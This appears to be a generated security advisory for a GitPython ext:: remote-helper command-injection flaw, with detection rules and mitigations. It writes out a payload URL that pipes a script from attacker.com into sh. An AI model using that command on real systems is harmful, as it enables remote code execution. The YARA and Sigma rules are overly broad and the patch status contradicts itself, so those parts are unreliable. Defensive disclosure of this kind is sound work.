CVE-2026-110857

Executive Summary

CVE-2026-110857 is a remote code execution (RCE) vulnerability in GitPython versions before 3.2.0. The flaw exists because the Git.ls_remote method forwards attacker-controlled URLs to Git without invoking check_unsafe_protocols validation. An attacker can supply a crafted ext:: remote-helper URL that, when Git permits the ext transport, results in arbitrary command execution. Additionally, merge_base and IndexFile.move accept unguarded option injection, expanding the attack surface. The vulnerability carries a CVSS v3.1 base score of 7.5 (High), with network attack vector, high attack complexity, no privileges required, and user interaction required. No public proof-of-concept, exploit code, or Nuclei template is currently available, and the issue remains unpatched in all tracked sources.

Technical Analysis

GitPython is a Python library used to interact with Git repositories programmatically. The vulnerability class is CWE-1287: Improper Validation of Specified Type of Input. Specifically, the library fails to validate URL schemes before passing them to the underlying Git command-line interface.

The NVD description states that Git.ls_remote forwards URLs without check_unsafe_protocols validation. This means that when an application calls ls_remote with a user-supplied URL, GitPython does not sanitize or block dangerous protocols. Git supports several remote helpers, including ext::, which allows execution of arbitrary commands as part of the transport mechanism. When the ext transport is enabled in the Git configuration (which may be the default in some environments), an attacker can supply a URL such as ext::sh -c '...' to execute commands on the host running the vulnerable GitPython code.

Additionally, the description notes that merge_base and IndexFile.move also accept unguarded option injection. Option injection occurs when attacker-controlled input is passed as command-line options to Git. For example, if an application calls merge_base with a user-controlled revision argument that begins with a dash, Git may interpret it as an option rather than a revision, potentially leading to unintended behavior or further command execution depending on the Git version and configuration.

The root cause is the absence of input validation for URL schemes and command-line arguments. The check_unsafe_protocols function, which is presumably designed to block protocols like ext::, is not invoked in the affected code paths. This oversight allows an attacker to bypass intended security controls.

The CVSS vector (AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H) indicates that the vulnerability is network-exploitable, requires high attack complexity (likely because the attacker must control the URL passed to the vulnerable function and the target must have the ext transport enabled), requires no privileges, but requires user interaction (e.g., a user or application must trigger the vulnerable method with attacker-controlled input). The impact to confidentiality, integrity, and availability is high, as successful exploitation leads to arbitrary command execution.

No specific function names beyond those in the description (Git.ls_remote, check_unsafe_protocols, merge_base, IndexFile.move) should be assumed. The exact implementation details of how these functions are called and how input reaches them are application-dependent.

Exploitation Scenarios

No public PoC is available; the attack chain is inferred from the vulnerability class and the NVD description.

1. Reconnaissance/Target Identification: An attacker identifies an application or service that uses GitPython (before 3.2.0) and passes user-controlled input to Git.ls_remote, merge_base, or IndexFile.move. This could be a web application that allows users to specify a Git repository URL for cloning, fetching, or inspection (e.g., a CI/CD dashboard, a code review tool, or a package manager that fetches dependencies from Git). The attacker may also target internal tooling that processes repository URLs from untrusted sources.

2. Triggering the Flaw: The attacker supplies a malicious URL or argument. For Git.ls_remote, the attacker provides a URL using the ext:: protocol, such as ext::sh -c 'curl http://attacker.com/payload.sh | sh'. If the application passes this URL directly to Git.ls_remote without validation, GitPython will forward it to the Git binary. If the Git configuration permits the ext transport (which may be enabled by default in some versions or explicitly allowed), Git will execute the command specified after ext::. For merge_base or IndexFile.move, the attacker injects option-like arguments (e.g., a revision starting with --upload-pack=... or other Git options) that can alter command behavior, potentially leading to command execution depending on the Git version and the specific option.

3. Payload/Execution Method: The payload is executed at the vulnerability-class level: command injection via unsafe protocol handling. The attacker's command runs with the privileges of the process invoking GitPython. This could be a web server user, a CI/CD runner, or a developer's local machine. The command could download and execute a reverse shell, exfiltrate data, or establish persistence.

4. Post-Exploitation Impact: Successful exploitation grants the attacker arbitrary command execution on the host. This can lead to data theft (source code, credentials, environment variables), lateral movement within the network, installation of backdoors, or disruption of services. The blast radius depends on the privileges of the compromised process and the sensitivity of the data accessible to it.

Impact Assessment

The CVSS v3.1 base score is 7.5 (High). The vector breaks down as follows:

• Attack Vector (AV:N): Exploitable remotely over a network.
• Attack Complexity (AC:H): High complexity; the attacker must control input to the vulnerable function and ensure the ext transport is enabled in the target's Git configuration, which may not be the default in all environments.
• Privileges Required (PR:N): No authentication or privileges needed.
• User Interaction (UI:R): Requires a user or automated process to trigger the vulnerable method with attacker-controlled input.
• Scope (S:U): The impact is confined to the vulnerable component's security authority.
• Confidentiality (C:H): High impact; attacker can read sensitive data.
• Integrity (I:H): High impact; attacker can modify data or execute commands.
• Availability (A:H): High impact; attacker can disrupt services.

Business impact includes potential remote code execution on systems running vulnerable GitPython versions, leading to data breaches, unauthorized access, and service disruptions. Affected systems are any applications, scripts, or services that use GitPython < 3.2.0 and pass untrusted input to Git.ls_remote, merge_base, or IndexFile.move. This includes CI/CD pipelines, web applications with Git integration, and developer workstations. The blast radius could be significant if the vulnerable component runs with elevated privileges or has access to sensitive repositories and credentials.

Detection Guidance

Sigma Rule

title: GitPython Remote Code Execution via ext:: Protocol
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2026-110857 where GitPython forwards malicious URLs containing ext:: protocol to Git, leading to command execution.
author: Threat Intelligence Team
date: 2026-01-01
logsource:
    category: process_creation
    product: linux
detection:
    selection_parent:
        ParentImage|endswith:
            - '/python'
            - '/python3'
            - '/python3.8'
            - '/python3.9'
            - '/python3.10'
            - '/python3.11'
            - '/python3.12'
    selection_child:
        Image|endswith: '/git'
        CommandLine|contains:
            - 'ext::'
            - 'ls-remote'
            - 'merge-base'
    condition: selection_parent and selection_child
fields:
    - CommandLine
    - ParentImage
    - Image
falsepositives:
    - Legitimate use of ext:: protocol in controlled environments
level: high

YARA Rule

rule CVE_2026_110857_GitPython_ext_RCE
{
    meta:
        description = "Detects GitPython exploitation attempts via ext:: protocol in Python scripts or process memory"
        author = "Threat Intelligence Team"
        date = "2026-01-01"
        reference = "CVE-2026-110857"
        severity = "high"

    strings:
        $ext_proto = "ext::" ascii wide nocase
        $ls_remote = "ls_remote" ascii wide nocase
        $merge_base = "merge_base" ascii wide nocase
        $check_unsafe = "check_unsafe_protocols" ascii wide nocase
        $index_move = "IndexFile.move" ascii wide nocase

    condition:
        uint16(0) == 0x213C or uint16(0) == 0x7F45 or
        (any of ($ext_proto, $ls_remote, $merge_base, $index_move) and not $check_unsafe)
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2026-110857 GitPython ext:: Protocol Remote Code Execution Attempt"; flow:to_server,established; content:"ext::"; http_client_body; nocase; content:"ls-remote"; http_client_body; nocase; distance:0; within:100; sid:1000001; rev:1; metadata:created_at 2026_01_01, updated_at 2026_01_01, cve CVE-2026-110857; classtype:attempted-admin; reference:url, nvd.nist.gov/vuln/detail/CVE-2026-110857;)

Elastic Detection

process where process.parent.name : ("python", "python3", "python3.8", "python3.9", "python3.10", "python3.11", "python3.12") and
process.name : "git" and
process.args : ("*ext::*", "*ls-remote*", "*merge-base*")

Splunk SPL Query

index=main sourcetype=process_started
| search (parent_process_name IN ("python", "python3", "python3.8", "python3.9", "python3.10", "python3.11", "python3.12") AND process_name="git")
| where match(process_args, "(?i)ext::|ls-remote|merge-base")
| table _time, host, user, parent_process_name, process_name, process_args
| sort - _time

Wazuh OSSEC Rule

<group name="gitpython,cve-2026-110857,">
  <rule id="100200" level="12">
    <if_sid>5920</if_sid>
    <field name="parent_process">python|python3|python3.8|python3.9|python3.10|python3.11|python3.12</field>
    <field name="command">git</field>
    <match>ext::|ls-remote|merge-base</match>
    <description>CVE-2026-110857: GitPython ext:: protocol remote code execution attempt detected</description>
    <mitre>
      <id>T1190</id>
    </mitre>
    <group>cve_2026_110857,</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch confidence: 0/4 (UNPATCHED — no patch evidence from any tracked source).

1. Immediate Mitigations:

   • Upgrade GitPython to version 3.2.0 or later immediately. As of this report, no patch is available from tracked sources, but version 3.2.0 is mentioned in the NVD description as the fix boundary.
   • If upgrade is not possible, disable the ext transport in Git configuration. This can be done by setting protocol.ext.allow=never in the Git config (e.g., git config --global protocol.ext.allow never). Note that this may not cover all attack vectors if other unsafe protocols are used.
   • Implement input validation and sanitization for any user-supplied URLs or revision arguments before passing them to GitPython functions. Allow-list only trusted protocols (e.g., https://, ssh://) and reject any input containing ext:: or starting with a dash.
   • Monitor and restrict application access to GitPython methods that accept untrusted input. Use wrapper functions that enforce validation.

2. Patch/Upgrade Steps:

   • Monitor the official GitPython repository and PyPI for the release of version 3.2.0 or a security patch.
   • Once available, update via pip: pip install --upgrade gitpython.
   • Verify the installed version: pip show gitpython.
   • Audit code for usage of Git.ls_remote, merge_base, and IndexFile.move and ensure they are not passed user-controlled data without validation.

3. Long-term Hardening:

   • Adopt a secure software development lifecycle (SSDLC) that includes security reviews of third-party libraries.
   • Implement runtime application self-protection (RASP) or web application firewall (WAF) rules to block malicious URLs containing ext::.
   • Use static analysis tools to detect unsafe input flows into GitPython functions.
   • Regularly update dependencies and subscribe to security advisories for GitPython and Git.
   • Enforce the principle of least privilege for processes that use GitPython, limiting the impact of successful exploitation.

References

• NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-110857
• GitPython GitHub Repository: https://github.com/gitpython-developers/GitPython
• GitPython Documentation: https://gitpython.readthedocs.io/
• CWE-1287: Improper Validation of Specified Type of Input: https://cwe.mitre.org/data/definitions/1287.html
• Git Protocol Documentation (ext transport): https://git-scm.com/docs/git-remote-ext

No known threat actor campaigns or exploit-in-the-wild evidence is currently available for CVE-2026-110857.